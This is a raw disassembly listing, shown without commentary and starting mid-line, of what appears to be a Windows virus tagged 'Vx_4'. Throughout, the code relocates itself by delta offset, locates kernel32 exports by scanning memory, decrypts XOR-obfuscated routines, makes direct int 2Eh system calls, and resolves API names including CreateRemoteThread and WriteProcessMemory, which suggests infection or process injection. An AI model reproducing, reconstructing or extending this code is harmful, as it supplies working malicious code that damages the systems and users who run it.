dword ptr [ebp+103E62h] loc_3150D8AB: ; CODE XREF: sub_3150D259+45j lea esi, [ebp+104184h] push dword ptr [ebp+104294h] push esi call dword ptr [ebp+103EDEh] and dword ptr [ebp+104298h], 0 retn sub_3150D85E endp ; --------------------------------------------------------------------------- dw 0E8h dd 5D000000h, 0ED81016Ah, 1038CBh, 0C10FF058h, 10158885h dd 0C3C08500h, 0F0FFC883h, 8885C10Fh, 0C3001015h, 2A00103Dh dd 661C7500h, 0C247C81h, 1375716Ch, 0FFC4E860h, 575FFFFh dd 0FFFAB5E8h, 0FFD2E8FFh, 2E61FFFFh, 56782DFFh, 25B81234h dd 60000000h, 0FFFFA5E8h, 8B3975FFh, 8D302444h, 104184B5h dd 8508B00h, 63A8166h, 56257302h, 0FF000068h, 6AC48B00h dd 0FF505200h, 103F2E95h, 8C48300h, 3F5C3E81h, 3755C3Fh dd 0E804C683h, 0FFFFFA62h, 0FFFF7FE8h, 0B8C361FFh, 74h dd 2FB8B1EBh, 0E8000000h, 1Dh, 0B80020C2h, 30h, 10E8h dd 24C200h, 185B8h, 3E800h, 2CC20000h, 24548D00h, 832ECD0Ch dd 197C00F8h, 0E860h, 548B0000h, 8B5D3024h, 0A2ED811Ah dd 0E8001039h, 0FFFFE0B3h, 4C261h, 1020607h, 2BAE0305h dd 0FF2A6EE3h, 119415FFh, 0FF8B0100h, 59E85Bh, 648B0000h dd 0EBB80824h, 0EB000004h, 0A16764FAh, 408B0018h, 40B60F30h dd 0F88302h, 0E83C75h, 5D000000h, 2320ED81h, 858B0040h dd 402367h, 236F8503h, 0F08B0040h, 236B858Bh, 85030040h dd 40236Fh, 33FE8B50h, 8532ACC9h, 402377h, 8D3B41AAh, 402373h dd 2BC3EF7Ch, 30FF64C0h, 0B8208964h, 12345678h, 60000387h dd 84000000h, 0 dd 26003150h, 500000h, 105h dup(0) dd 9B470000h, 8AD7C80h, 3317C83h, 7C91h, 1464h dup(0) ; --------------------------------------------------------------------------- call $+5 cld mov eax, [esp] mov ecx, [eax+29BBh] mov [eax+3303h], ebx and ecx, 400000h mov ebx, [esp+4] jz short loc_3151304D pop ecx mov [eax+3307h], esi mov cl, [eax+29BFh] mov [eax+330Bh], edi cmp cl, 0E8h jz short loc_31513041 mov ebx, [eax+29C1h] jmp short loc_3151304B ; --------------------------------------------------------------------------- loc_31513041: ; CODE XREF: UPX2:31513037j mov ecx, [eax+29C0h] mov ebx, [ecx+ebx+2] loc_3151304B: ; CODE XREF: UPX2:3151303Fj mov ebx, [ebx] loc_3151304D: ; CODE XREF: UPX2:3151301Fj push ebp mov ebp, eax sub dword ptr [esp+4], 9E05h sub ebp, 101005h mov edi, [esp+4] lea esi, [ebp+1039CCh] mov ecx, 0FFh rep movsb sldt cx test ecx, ecx jnz short loc_3151307B or eax, 0FFFFFFFFh int 2Eh ; DOS 2+ internal - EXECUTE COMMAND ; DS:SI -> counted CR-terminated command string loc_3151307B: ; CODE XREF: UPX2:31513074j and ebx, 0FFFFF000h loc_31513081: ; CODE XREF: UPX2:31513090j cmp dword ptr [ebx+4Eh], 73696854h jz short loc_31513092 loc_3151308A: ; CODE XREF: UPX2:3151309Fj sub ebx, 100h jnz short loc_31513081 loc_31513092: ; CODE XREF: UPX2:31513088j mov eax, ebx add eax, [ebx+3Ch] mov edx, [eax+78h] cmp word ptr [eax], 4550h jnz short loc_3151308A add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_315130AC: ; CODE XREF: UPX2:loc_315130C0j lodsd add eax, ebx cmp word ptr [eax+2], 5074h jnz short loc_315130C0 cmp dword ptr [eax+5], 6441636Fh jz short loc_315130C5 loc_315130C0: ; CODE XREF: UPX2:315130B5j loop loc_315130AC pop ecx jmp short loc_315130F0 ; --------------------------------------------------------------------------- loc_315130C5: ; CODE XREF: UPX2:315130BEj sub [esp], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx lea eax, [ebp+101137h] lea ecx, [ebp+101120h] mov dx, [eax-19h] call ecx jmp short loc_31513137 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3151317E loc_315130F0: ; CODE XREF: UPX2:315130C3j ; sub_3151317E+10j ... mov eax, [ebp+1039C0h] and eax, 400000h jz short loc_3151311C lea esi, [ebp+1039C4h] lodsd mov edi, [esp+arg_0] stosd mov ebx, [ebp+104308h] movsb mov edi, [ebp+104310h] mov esi, [ebp+10430Ch] loc_3151311C: ; CODE XREF: sub_3151317E-83j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_3151317E ; --------------------------------------------------------------------------- dw 6970h ; =============== S U B R O U T I N E ======================================= sub_31513120 proc near ; CODE XREF: sub_3151545B+2DFp push ebx mov ecx, 2889h mov ebx, edx loc_31513128: ; CODE XREF: sub_31513120+13j xor [eax], dl sub dl, bl add eax, 1 xchg bl, bh xchg dl, dh loop loc_31513128 pop ebx retn sub_31513120 endp ; --------------------------------------------------------------------------- loc_31513137: ; CODE XREF: UPX2:315130EEj call near ptr loc_31513146+2 inc ebx insb outsd jnb short near ptr loc_315131A3+3 dec eax popa outsb db 64h insb loc_31513146: ; CODE XREF: UPX2:loc_31513137p add gs:[ebx-1], dl setalc mov [ebp+103E62h], eax call near ptr loc_31513162+1 inc ebx jb short loc_315131BE popa jz short near ptr loc_315131C0+1 inc ebp jbe short near ptr loc_315131C0+4 outsb jz short loc_315131A3 loc_31513162: ; CODE XREF: UPX2:31513151p add [ebx-1], dl setalc mov [ebp+103E66h], eax call sub_3151317E inc edi db 65h jz short near ptr loc_315131C0+1 popa jnb short near ptr loc_315131EA+2 inc ebp jb short near ptr loc_315131EA+3 outsd jb short $+2 ; =============== S U B R O U T I N E ======================================= sub_3151317E proc near ; CODE XREF: UPX2:3151316Cp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 315130F0 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 31513534 SIZE 0000000B BYTES push ebx call esi ; rand mov [ebp+103E6Ah], eax call sub_3151355F test eax, eax jz loc_315130F0 push eax call dword ptr [ebp+103E6Ah] test eax, eax jnz loc_31513534 loc_315131A3: ; CODE XREF: UPX2:31513160j ; UPX2:3151313Fj cmp byte ptr [ebp+10153Fh], 1 jnz short loc_315131C0 push dword ptr [ebp+104308h] dec byte ptr [ebp+10153Fh] pop dword ptr [ebp+101598h] loc_315131BE: ; CODE XREF: UPX2:31513157j jmp short loc_315131C7 ; --------------------------------------------------------------------------- loc_315131C0: ; CODE XREF: sub_3151317E+2Cj ; UPX2:3151315Aj ... and dword ptr [ebp+101598h], 0 loc_315131C7: ; CODE XREF: sub_3151317E:loc_315131BEj and dword ptr [ebp+101588h], 0 and dword ptr [ebp+10158Ch], 0 and dword ptr [ebp+101590h], 0 push edi mov byte ptr [ebp+1012D4h], 1 mov [ebp+103E6Eh], esi loc_315131EA: ; CODE XREF: UPX2:31513176j ; UPX2:31513179j lea esi, [ebp+101604h] xor ecx, ecx lea edi, [ebp+103E7Ah] mov cl, 20h call sub_3151359C pop edi call dword ptr [ebp+103EBAh] shr eax, 1Fh jz loc_315132E3 mov eax, [edi+14h] push 40h add eax, ebx push 8001000h mov [ebp+103E72h], eax push 7328h push 0 call dword ptr [ebp+103EF2h] test eax, eax jz loc_31513534 xchg eax, edi lea esi, [ebp+101000h] mov ebp, edi mov ecx, 0CCAh sub ebp, 101000h lea edx, [ebp+101254h] rep movsd jmp edx ; --------------------------------------------------------------------------- sub esp, 20h mov edi, esp push 8 xor eax, eax pop ecx lea edx, [ebp+101B4Dh] rep stosd mov edi, esp mov [edi+10h], edx inc byte ptr [edi+1Ch] push edi push 10003h call dword ptr [ebp+103E72h] add esp, 20h test eax, eax jz loc_31513534 xchg eax, edi push 0 push 1 push 80000400h push 10000h call dword ptr [ebp+103E72h] test eax, eax jz loc_31513534 push 0 push eax push 40000h push 0 shr eax, 0Ch push edi push 1 push eax push 10001h call dword ptr [ebp+103E72h] push 1000Ah call dword ptr [ebp+103E72h] call loc_315132D3 jmp loc_31513534 ; --------------------------------------------------------------------------- loc_315132D3: ; CODE XREF: sub_3151317E+14Bp ; sub_3151317E+162j push 0 pop ecx jecxz short locret_315132E2 push 0Ah call dword ptr [ebp+103EE6h] jmp short loc_315132D3 ; --------------------------------------------------------------------------- locret_315132E2: ; CODE XREF: sub_3151317E+158j retn ; --------------------------------------------------------------------------- loc_315132E3: ; CODE XREF: sub_3151317E+8Bj cmp dword ptr [ebp+103E92h], 0 jz loc_31513534 call near ptr loc_315132FA+1 dec esi push esp inc esp dec esp dec esp loc_315132FA: ; CODE XREF: sub_3151317E+172p add bh, bh sub_3151317E endp ; sp-analysis failed xchg eax, ebp scasb db 3Eh adc [eax], al lea esi, [ebp+1017DEh] xor ecx, ecx lea edi, [ebp+103EFAh] mov cl, 0Eh xchg eax, ebx call sub_3151359C cmp dword ptr [ebp+103F2Eh], 0 jz loc_31513534 mov eax, [ebp+103EFEh] push dword ptr [eax+1] pop dword ptr [ebp+103917h] mov eax, [ebp+103F16h] push dword ptr [eax+1] pop dword ptr [ebp+103964h] mov eax, [ebp+103F02h] push dword ptr [eax+1] pop dword ptr [ebp+10396Bh] cmp dword ptr [ebp+10396Bh], 10000h jnb loc_31513534 mov ecx, [ebp+103F06h] jecxz short loc_31513383 push dword ptr [ecx+1] pop dword ptr [ebp+103978h] mov ecx, [ebp+103F0Eh] jecxz short loc_31513383 push dword ptr [ecx+1] pop dword ptr [ebp+103985h] loc_31513383: ; CODE XREF: UPX2:31513367j ; UPX2:31513378j call sub_31513540 lea edi, [ebp+103F84h] mov ecx, edi push 0 neg cl push dword ptr [eax+4] and ecx, 3 push 40h add edi, ecx push edi push 0 push 18h lea esi, [ebp+1015EBh] mov ecx, 19h lea eax, ds:0FFFFFFFEh[ecx*2] stosw lea eax, ds:0[ecx*2] stosw lea eax, [edi+4] stosd xor ah, ah lea edx, [ebp+103E30h] loc_315133CC: ; CODE XREF: UPX2:315133D5j lodsb mov [edx], ax stosw add edx, 2 loop loc_315133CC mov edx, esp push 0 push 7328h mov ecx, esp push 0 mov eax, esp push 0 push 8000000h push 40h push ecx push edx push 0Eh push eax call dword ptr [ebp+103F0Ah] pop eax add esp, 40h push 7328h mov edx, esp push 0 mov ecx, esp push 40h push 0 push 2 push edx push 0 push 7328h push 0 push ecx push 0FFFFFFFFh push eax call dword ptr [ebp+103F12h] pop edi pop ecx test edi, edi jz loc_31513534 lea esi, [ebp+101000h] mov ecx, 0CCAh mov ebp, edi rep movsd sub ebp, 101000h lea eax, [ebp+10144Ah] jmp eax ; --------------------------------------------------------------------------- dw 5450h dd 0FF6A206Ah, 3F1A95FFh, 0C0850010h, 0E834755Fh, 14Fh dd 11E8h, 44655300h, 67756265h, 76697250h, 67656C69h, 0E8570065h dd 550h, 4288B5FFh, 95FF0010h, 103E9Eh, 6295FF57h, 6A00103Eh dd 0FF026A00h, 103E9295h, 128B900h, 2B970000h, 240C89E1h dd 95FF5754h, 103ED6h, 0A583F633h, 103F72h, 0FF575400h dd 103EDA95h, 74C08500h, 0FE834666h, 0FFEE7204h, 6A082474h dd 0FF2A6A00h, 103ED295h, 74C08500h, 88E893DCh, 33000005h dd 3AE391C9h, 3F728539h, 32750010h, 24247C81h, 73727363h dd 0C1812874h, 0EAFh, 56505450h, 53505051h, 3E8A95FFh dd 0C0850010h, 0FF0F7459h, 8F082474h, 103F7285h, 0FDB5E800h dd 0FF53FFFFh, 103E6295h, 818EEB00h, 128C4h, 95FF5700h dd 103E62h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3151317E loc_31513534: ; CODE XREF: sub_3151317E+1Fj ; sub_3151317E+B2j ... call dword ptr [ebp+103E62h] jmp loc_315130F0 ; END OF FUNCTION CHUNK FOR sub_3151317E ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_31513540 proc near ; CODE XREF: UPX2:loc_31513383p ; sub_3151355F+2p pop edx push 0 push 0 push 0 push 0 push 40001h mov eax, esp push 0 push eax push 0Ch mov eax, esp jmp edx sub_31513540 endp ; --------------------------------------------------------------------------- aVx_4_0 db 'Vx_4',0 db 0 ; =============== S U B R O U T I N E ======================================= sub_3151355F proc near ; CODE XREF: sub_3151317E+9p xor ecx, ecx call sub_31513540 lea edx, [ebp+101559h] push edx push ecx push ecx push eax call dword ptr [ebp+103E66h] add esp, 20h retn sub_3151355F endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 585858h, 3328h, 0E73h, 1, 2 dup(0) dd 29C0h, 0 ; =============== S U B R O U T I N E ======================================= sub_3151359C proc near ; CODE XREF: sub_3151317E+7Cp ; UPX2:31513312p ... push ecx push esi push ebx call dword ptr [ebp+103E6Eh] stosd pop ecx loc_315135A7: ; CODE XREF: sub_3151359C+Ej lodsb test al, al jnz short loc_315135A7 loop sub_3151359C retn sub_3151359C endp ; =============== S U B R O U T I N E ======================================= sub_315135AF proc near ; CODE XREF: sub_3151512D+25p ; FUNCTION CHUNK AT 31513639 SIZE 000003C0 BYTES ; FUNCTION CHUNK AT 31513A09 SIZE 00000027 BYTES lea edx, [ebp+101985h] push edx call dword ptr [ebp+103EC6h] mov [ebp+104288h], eax call near ptr loc_315135DC+1 dec esp outsd outsd imul esi, [ebp+70h], 50h jb short loc_31513639 jbe short near ptr loc_31513639+2 insb db 65h, 67h, 65h push esi popa insb jnz short loc_31513640 inc ecx loc_315135DC: ; CODE XREF: sub_315135AF+13p add [eax-1], dl sub_315135AF endp ; sp-analysis failed xchg eax, ebp outsb db 3Eh adc [eax], al mov [ebp+10428Ch], eax retn ; --------------------------------------------------------------------------- db 5Ch ; \ db 42h ; B db 61h ; a db 73h ; s db 65h ; e db 4Eh ; N db 61h ; a db 6Dh ; m db 65h ; e db 64h ; d db 4Fh ; O db 62h ; b db 6Ah ; j db 65h ; e db 63h ; c db 74h ; t db 73h ; s db 5Ch ; \ db 56h ; V db 74h ; t db 53h ; S db 65h ; e db 63h ; c db 74h ; t db 0 db 6Ch ; l db 73h ; s db 74h ; t db 72h ; r db 6Ch ; l db 65h ; e db 6Eh ; n db 0 db 43h ; C db 72h ; r db 65h ; e db 61h ; a db 74h ; t db 65h ; e db 46h ; F db 69h ; i db 6Ch ; l db 65h ; e db 41h ; A db 0 db 43h ; C db 72h ; r db 65h ; e db 61h ; a db 74h ; t db 65h ; e db 46h ; F db 69h ; i db 6Ch ; l db 65h ; e db 4Dh ; M db 61h ; a db 70h ; p db 70h ; p db 69h ; i db 6Eh ; n db 67h ; g db 41h ; A db 0 db 43h ; C db 72h ; r db 65h ; e db 61h ; a db 74h ; t db 65h ; e db 50h ; P db 72h ; r db 6Fh ; o db 63h ; c db 65h ; e db 73h ; s db 73h ; s db 41h ; A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_315135AF loc_31513639: ; CODE XREF: sub_315135AF+1Fj ; sub_315135AF+21j add [ebx+72h], al db 65h popa jz short near ptr loc_315136A3+2 loc_31513640: ; CODE XREF: sub_315135AF+2Aj push edx db 65h insd outsd jz short loc_315136AB push esp push 64616572h add [ebx+72h], al db 65h popa jz short near ptr loc_315136B6+2 push esp push 64616572h add [ebx+72h], al db 65h popa jz short near ptr loc_315136C2+3 push esp outsd outsd insb push 33706C65h xor dl, [ebx+6Eh] popa jo short near ptr loc_315136E1+1 push 4500746Fh js short loc_315136DF jz short near ptr loc_315136CB+1 push 64616572h add [esi+69h], al insb db 65h push esp imul ebp, [ebp+65h], 79536F54h jnb short loc_31513700 db 65h insd push esp imul ebp, [ebp+65h], 65724600h db 65h dec esp imul esp, [edx+72h], 797261h inc edi db 65h jz short near ptr loc_315136E3+6 loc_315136A3: ; CODE XREF: sub_315135AF+8Fj imul ebp, [ebp+41h], 69727474h loc_315136AB: ; CODE XREF: sub_315135AF+95j bound esi, [ebp+74h] db 65h jnb short loc_315136F2 add [edi+65h], al jz short near ptr loc_315136FB+1 loc_315136B6: ; CODE XREF: sub_315135AF+A2j imul ebp, [ebp+53h], 657A69h inc edi db 65h jz short loc_31513708 loc_315136C2: ; CODE XREF: sub_315135AF+AFj imul ebp, [ebp+54h], 656D69h inc edi loc_315136CB: ; CODE XREF: sub_315135AF+C7j db 65h jz short near ptr loc_3151371A+1 outsd db 64h jnz short near ptr loc_31513739+5 db 65h dec eax popa outsb db 64h insb db 65h inc ecx add [edi+65h], al jz short near ptr loc_3151372D+6 loc_315136DF: ; CODE XREF: sub_315135AF+C5j db 65h insd loc_315136E1: ; CODE XREF: sub_315135AF+BEj jo short near ptr loc_31513727+2 loc_315136E3: ; CODE XREF: sub_315135AF+F1j imul ebp, [ebp+4Eh], 41656D61h add [edi+65h], al jz short near ptr loc_31513741+3 db 65h insd loc_315136F2: ; CODE XREF: sub_315135AF+FFj jo short near ptr loc_31513741+3 popa jz short near ptr loc_3151375E+1 inc ecx add [edi+65h], al loc_315136FB: ; CODE XREF: sub_315135AF+105j jz short loc_31513753 db 65h jb short near ptr loc_31513772+1 loc_31513700: ; CODE XREF: sub_315135AF+DBj imul ebp, [edi+6Eh], 74654700h push esi loc_31513708: ; CODE XREF: sub_315135AF+110j db 65h jb short near ptr loc_3151377C+2 imul ebp, [edi+6Eh], 417845h inc edi db 65h jz short near ptr loc_3151376B+1 outsd insb jnz short near ptr loc_31513781+6 loc_3151371A: ; CODE XREF: sub_315135AF:loc_315136CBj db 65h dec ecx outsb outsw jb short near ptr loc_3151378C+2 popa jz short near ptr loc_3151378C+1 outsd outsb inc ecx loc_31513727: ; CODE XREF: sub_315135AF:loc_315136E1j add [edi+ebp*2+61h], cl db 64h dec esp loc_3151372D: ; CODE XREF: sub_315135AF+12Ej imul esp, [edx+72h], 41797261h add [ebp+61h], cl jo short loc_3151378F loc_31513739: ; CODE XREF: sub_315135AF+120j imul esp, [ebp+77h], 6946664Fh insb loc_31513741: ; CODE XREF: sub_315135AF+13Fj ; sub_315135AF:loc_315136F2j add gs:[edi+70h], cl outs dx, byte ptr gs:[esi] inc esi imul ebp, [ebp+4Dh], 69707061h outsb db 67h inc ecx loc_31513753: ; CODE XREF: sub_315135AF:loc_315136FBj add [edi+70h], cl outs dx, byte ptr gs:[esi] push eax jb short near ptr loc_315137C9+1 arpl [ebp+73h], sp loc_3151375E: ; CODE XREF: sub_315135AF+146j jnb short $+2 push eax jb short loc_315137D2 arpl [ebp+73h], sp jnb short near ptr loc_31513794+7 xor al, [esi+69h] loc_3151376B: ; CODE XREF: sub_315135AF+164j jb short near ptr loc_315137DA+6 jz short $+2 push eax jb short near ptr loc_315137DA+7 loc_31513772: ; CODE XREF: sub_315135AF+14Ej arpl [ebp+73h], sp jnb short near ptr loc_315137A9+1 xor cl, [esi+65h] js short near ptr loc_315137EC+4 loc_3151377C: ; CODE XREF: sub_315135AF:loc_31513708j add [ebx+65h], dl jz short near ptr loc_315137C5+2 loc_31513781: ; CODE XREF: sub_315135AF+169j imul ebp, [ebp+41h], 69727474h bound esi, [ebp+74h] loc_3151378C: ; CODE XREF: sub_315135AF+173j ; sub_315135AF+170j db 65h jnb short loc_315137D0 loc_3151378F: ; CODE XREF: sub_315135AF+188j add [ebx+65h], dl jz short loc_315137DA loc_31513794: ; CODE XREF: sub_315135AF+1B7j imul ebp, [ebp+54h], 656D69h push ebx insb db 65h, 65h jo short $+4 push ebx jns short loc_31513818 jz short loc_3151380C insd push esp loc_315137A9: ; CODE XREF: sub_315135AF+1C6j imul ebp, [ebp+65h], 69466F54h insb db 65h push esp imul ebp, [ebp+65h], 6D6E5500h popa jo short loc_31513813 imul esp, [ebp+77h], 6946664Fh insb loc_315137C5: ; CODE XREF: sub_315135AF+1D0j add gs:[esi+69h], dl loc_315137C9: ; CODE XREF: sub_315135AF+1AAj jb short near ptr loc_3151383E+1 jnz short loc_3151382E insb inc ecx insb loc_315137D0: ; CODE XREF: sub_315135AF:loc_3151378Cj insb outsd loc_315137D2: ; CODE XREF: sub_315135AF+1B2j arpl [eax], ax push edi jb short loc_31513840 jz short loc_3151383E inc esi loc_315137DA: ; CODE XREF: sub_315135AF+1E3j ; sub_315135AF:loc_3151376Bj ... imul ebp, [ebp+0], 6441744Eh push 75h jnb short loc_3151385A push eax jb short near ptr loc_3151384F+3 jbe short near ptr loc_3151384F+5 insb loc_315137EC: ; CODE XREF: sub_315135AF+1CBj db 65h, 67h, 65h jnb near ptr 3845h outsd imul esp, [ebp+6Eh], 0 dec esi jz short near ptr loc_3151383B+1 jb short near ptr loc_3151385F+1 popa jz short loc_31513863 inc esi imul ebp, [ebp+0], 7243744Eh db 65h popa jz short loc_31513870 push eax loc_3151380C: ; CODE XREF: sub_315135AF+1F6j jb short loc_3151387D arpl [ebp+73h], sp jnb short $+2 loc_31513813: ; CODE XREF: sub_315135AF+20Cj dec esi jz short near ptr loc_31513856+3 jb short loc_3151387D loc_31513818: ; CODE XREF: sub_315135AF+1F4j popa jz short loc_31513880 push eax jb short loc_3151388D arpl [ebp+73h], sp jnb short near ptr loc_31513863+5 js short $+2 dec esi jz short loc_3151386B jb short loc_3151388F popa jz short near ptr loc_3151388F+3 push ebx loc_3151382E: ; CODE XREF: sub_315135AF+21Cj arpl gs:[ecx+ebp*2+6Fh], si outsb add [esi+74h], cl inc ebx jb short near ptr loc_3151389E+1 popa loc_3151383B: ; CODE XREF: sub_315135AF+248j jz short loc_315138A2 push ebp loc_3151383E: ; CODE XREF: sub_315135AF+228j ; sub_315135AF:loc_315137C9j jnb short near ptr loc_315138A4+1 loc_31513840: ; CODE XREF: sub_315135AF+226j jb short near ptr loc_3151388F+3 jb short loc_315138B3 arpl [ebp+73h], sp jnb short $+2 dec esi jz short loc_31513899 popa jo short near ptr loc_315138A4+1 loc_3151384F: ; CODE XREF: sub_315135AF+238j ; sub_315135AF+23Aj imul esp, [ebp+77h], 6553664Fh loc_31513856: ; CODE XREF: sub_315135AF+265j arpl [ecx+ebp*2+6Fh], si loc_3151385A: ; CODE XREF: sub_315135AF+235j outsb add [esi+74h], cl dec edi loc_3151385F: ; CODE XREF: sub_315135AF+24Aj jo short loc_315138C6 outsb inc esi loc_31513863: ; CODE XREF: sub_315135AF+24Dj ; sub_315135AF+272j imul ebp, [ebp+0], 704F744Eh loc_3151386B: ; CODE XREF: sub_315135AF+277j outs dx, byte ptr gs:[esi] push eax jb short loc_315138DF loc_31513870: ; CODE XREF: sub_315135AF+25Aj arpl [ebp+73h], sp jnb short loc_315138C9 outsd imul esp, [ebp+6Eh], 0 dec esi jz short near ptr loc_315138CB+1 loc_3151387D: ; CODE XREF: sub_315135AF:loc_3151380Cj ; sub_315135AF+267j jo short near ptr loc_315138E3+1 outsb loc_31513880: ; CODE XREF: sub_315135AF+26Aj push ebx arpl gs:[ecx+ebp*2+6Fh], si outsb add [esi+74h], cl push eax jb short near ptr loc_315138FB+1 loc_3151388D: ; CODE XREF: sub_315135AF+26Dj jz short near ptr loc_315138F3+1 loc_3151388F: ; CODE XREF: sub_315135AF+279j ; sub_315135AF+27Cj ... arpl [esi+edx*2+69h], si jb short loc_31513909 jnz short near ptr loc_315138F7+1 insb dec ebp loc_31513899: ; CODE XREF: sub_315135AF+29Bj db 65h insd outsd jb short near ptr loc_31513914+3 loc_3151389E: ; CODE XREF: sub_315135AF+289j add [esi+74h], cl push ecx loc_315138A2: ; CODE XREF: sub_315135AF:loc_3151383Bj jnz short loc_31513909 loc_315138A4: ; CODE XREF: sub_315135AF:loc_3151383Ej ; sub_315135AF+29Ej jb short near ptr loc_3151391E+1 dec ecx outsb outsw jb short near ptr loc_31513918+1 popa jz short loc_31513918 outsd outsb push esp outsd loc_315138B3: ; CODE XREF: sub_315135AF+293j imul esp, [ebp+6Eh], 0 dec esi jz short near ptr loc_3151390F+2 jb short loc_31513925 jz short near ptr loc_31513922+1 push esi imul esi, [edx+74h], 4D6C6175h loc_315138C6: ; CODE XREF: sub_315135AF:loc_3151385Fj db 65h insd outsd loc_315138C9: ; CODE XREF: sub_315135AF+2C4j jb short loc_31513944 loc_315138CB: ; CODE XREF: sub_315135AF+2CCj add [edx+74h], dl insb push ebp outsb imul esp, [ebx+6Fh], 74536564h jb short near ptr loc_31513941+2 outsb db 67h push esp outsd inc ecx loc_315138DF: ; CODE XREF: sub_315135AF+2BFj outsb jnb short near ptr loc_3151394A+1 push ebx loc_315138E3: ; CODE XREF: sub_315135AF:loc_3151387Dj jz short loc_31513957 imul ebp, [esi+67h], 41535700h push ebx jz short loc_31513950 jb short loc_31513965 jnz short near ptr loc_31513962+1 loc_315138F3: ; CODE XREF: sub_315135AF:loc_3151388Dj add [ebx+6Ch], ah outsd loc_315138F7: ; CODE XREF: sub_315135AF+2E6j jnb short loc_3151395E jnb short near ptr loc_31513969+1 loc_315138FB: ; CODE XREF: sub_315135AF+2DCj arpl [ebx+65h], bp jz short $+2 arpl [edi+6Eh], bp outsb arpl gs:[eax+eax+67h], si loc_31513909: ; CODE XREF: sub_315135AF+2E4j ; sub_315135AF:loc_315138A2j db 65h jz short near ptr loc_31513973+1 outsd jnb short near ptr loc_31513981+2 loc_3151390F: ; CODE XREF: sub_315135AF+309j bound edi, [ecx+6Eh] popa insd loc_31513914: ; CODE XREF: sub_315135AF+2EDj add gs:[edx+65h], dh loc_31513918: ; CODE XREF: sub_315135AF+2FEj ; sub_315135AF+2FBj arpl [esi+0], si jnb short near ptr loc_31513981+1 outsb loc_3151391E: ; CODE XREF: sub_315135AF:loc_315138A4j add fs:[ebx+6Fh], dh loc_31513922: ; CODE XREF: sub_315135AF+30Dj arpl [ebx+65h], bp loc_31513925: ; CODE XREF: sub_315135AF+30Bj jz short $+2 dec ecx outsb jz short loc_31513990 jb short loc_3151399B db 65h jz short loc_31513973 insb outsd jnb short near ptr loc_31513998+1 dec eax popa outsb db 64h insb add gs:[ecx+6Eh], cl jz short loc_315139A4 jb short near ptr loc_315139AE+1 loc_31513941: ; CODE XREF: sub_315135AF+329j db 65h jz short loc_3151398B loc_31513944: ; CODE XREF: sub_315135AF:loc_315138C9j db 65h jz short loc_3151398A outsd outsb outsb loc_3151394A: ; CODE XREF: sub_315135AF+331j arpl gs:[ebp+64h], si push ebx loc_31513950: ; CODE XREF: sub_315135AF+33Ej jz short near ptr loc_315139B2+1 jz short loc_315139B9 add [ecx+6Eh], cl loc_31513957: ; CODE XREF: sub_315135AF:loc_315138E3j jz short near ptr loc_315139BC+2 jb short loc_315139C9 db 65h jz short near ptr loc_315139AB+2 loc_3151395E: ; CODE XREF: sub_315135AF:loc_315138F7j jo short loc_315139C5 outsb inc ecx loc_31513962: ; CODE XREF: sub_315135AF+342j add [ecx+6Eh], cl loc_31513965: ; CODE XREF: sub_315135AF+340j jz short near ptr loc_315139CB+1 jb short loc_315139D7 loc_31513969: ; CODE XREF: sub_315135AF+34Aj db 65h jz short near ptr loc_315139BA+1 jo short loc_315139D3 outsb push ebp jb short near ptr loc_315139DC+2 inc ecx loc_31513973: ; CODE XREF: sub_315135AF+37Ej ; sub_315135AF:loc_31513909j add [ecx+6Eh], cl jz short near ptr loc_315139DC+1 jb short loc_315139E8 db 65h jz short near ptr loc_315139CE+1 db 65h popa db 64h inc esi loc_31513981: ; CODE XREF: sub_315135AF+36Cj ; sub_315135AF+35Ej imul ebp, [ebp+0], 41564441h push eax loc_3151398A: ; CODE XREF: sub_315135AF:loc_31513944j dec ecx loc_3151398B: ; CODE XREF: sub_315135AF:loc_31513941j xor esi, [edx] db 2Eh inc esp dec esp loc_31513990: ; CODE XREF: sub_315135AF+37Aj dec esp add [edx+65h], dl db 67h inc ebx insb outsd loc_31513998: ; CODE XREF: sub_315135AF+383j jnb short near ptr loc_315139FD+2 dec ebx loc_3151399B: ; CODE XREF: sub_315135AF+37Cj db 65h jns short $+3 push edx db 65h, 67h dec edi jo short loc_31513A09 loc_315139A4: ; CODE XREF: sub_315135AF+38Ej outsb dec ebx db 65h jns short near ptr loc_315139EC+2 js short loc_315139EC loc_315139AB: ; CODE XREF: sub_315135AF+3ACj add [edx+65h], dl loc_315139AE: ; CODE XREF: sub_315135AF+390j db 67h push ecx jnz short loc_31513A17 loc_315139B2: ; CODE XREF: sub_315135AF:loc_31513950j jb short near ptr loc_31513A2C+1 push esi popa insb jnz short near ptr loc_31513A1D+1 loc_315139B9: ; CODE XREF: sub_315135AF+3A3j inc ebp loc_315139BA: ; CODE XREF: sub_315135AF:loc_31513969j js short loc_315139FD loc_315139BC: ; CODE XREF: sub_315135AF:loc_31513957j add [edx+65h], dl db 67h push ebx db 65h jz short loc_31513A1A popa loc_315139C5: ; CODE XREF: sub_315135AF:loc_3151395Ej insb jnz short near ptr loc_31513A2C+1 inc ebp loc_315139C9: ; CODE XREF: sub_315135AF+3AAj js short loc_31513A0C loc_315139CB: ; CODE XREF: sub_315135AF:loc_31513965j add [esi+33h], dl loc_315139CE: ; CODE XREF: sub_315135AF+3CBj imul byte ptr [edx+2] push esi push esi loc_315139D3: ; CODE XREF: sub_315135AF+3BDj mov edx, esp push 1 loc_315139D7: ; CODE XREF: sub_315135AF+3B8j push edx push dword ptr [edx+18h] push esi loc_315139DC: ; CODE XREF: sub_315135AF+3C7j ; sub_315135AF+3C1j call dword ptr [ebp+10428Ch] mov eax, esp push esi push esi push esi push eax loc_315139E8: ; CODE XREF: sub_315135AF+3C9j push esi push dword ptr [eax+18h] loc_315139EC: ; CODE XREF: sub_315135AF+3FAj ; sub_315135AF+3F7j call dword ptr [ebp+103EFAh] add esp, 10h pop esi retn 8 ; END OF FUNCTION CHUNK FOR sub_315135AF ; --------------------------------------------------------------------------- db 8Dh ; db 49h ; I db 0FBh 